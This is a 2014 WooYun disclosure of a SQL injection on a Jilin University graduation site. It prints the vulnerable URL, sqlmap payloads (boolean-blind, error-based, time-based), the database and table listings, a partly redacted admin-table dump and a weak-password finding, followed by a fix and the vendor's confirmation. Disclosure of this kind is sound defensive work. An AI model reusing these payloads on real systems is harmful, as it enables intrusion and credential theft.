当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049558

漏洞标题:吉林大学某专题网站sql注入

相关厂商:jlu.edu.cn

漏洞作者: m_vptr

提交时间:2014-03-03 18:06

修复时间:2014-04-17 18:07

公开时间:2014-04-17 18:07

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-03: 厂商已经确认,细节仅向厂商公开
2014-03-13: 细节向核心白帽子及相关领域专家公开
2014-03-23: 细节向普通白帽子公开
2014-04-02: 细节向实习白帽子公开
2014-04-17: 细节向公众公开

简要描述:

sql注入,后台用户密码的加密机制有问题

详细说明:

注入点: http://biye.jlu.edu.cn/?mod=info&act=view&id=24-1
参数id可被sql注入
sqlmap扫描报告:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mod=info&act=view&id=24 AND 5075=5075
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: mod=info&act=view&id=24 AND (SELECT 7038 FROM(SELECT COUNT(*),CONCAT(0x716f6a7971,(SELECT (CASE WHEN (7038=7038) THEN 1 ELSE 0 END)),0x7173636c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: mod=info&act=view&id=24 AND SLEEP(5)
---
[15:57:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.3.8
back-end DBMS: MySQL 5


后台用户密码是md5取前20位,找到一个用123456做密码的帐号

漏洞证明:

列库:

available databases [5]:
[*] biye2012
[*] biye2013
[*] dev
[*] information_schema
[*] test


列表:

Database: dev
[7 tables]
+---------+
| user |
| files |
| info |
| logm |
| menu |
| powerm |
| sysmenu |
+---------+


测试dump内容:

Database: dev
Table: user
[12 entries]
+----+---------------+----------------------+---------+-------+---------+---------------------+
| id | ip | pwd | name | tname | level | logtime |
+----+---------------+----------------------+---------+-------+---------+---------------------+
| 1 | 59.72.104.59 | xxxxxx | admin | 超级管理员 | 0 | 2014-01-06 10:53:15 |


登录后台:

Selection_003.png

修复方案:

过滤参数,id只能是数字。
md5请加盐。

版权声明:转载请注明来源 m_vptr@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-03-03 20:23

厂商回复:

漏洞已修复,谢谢!

最新状态:

暂无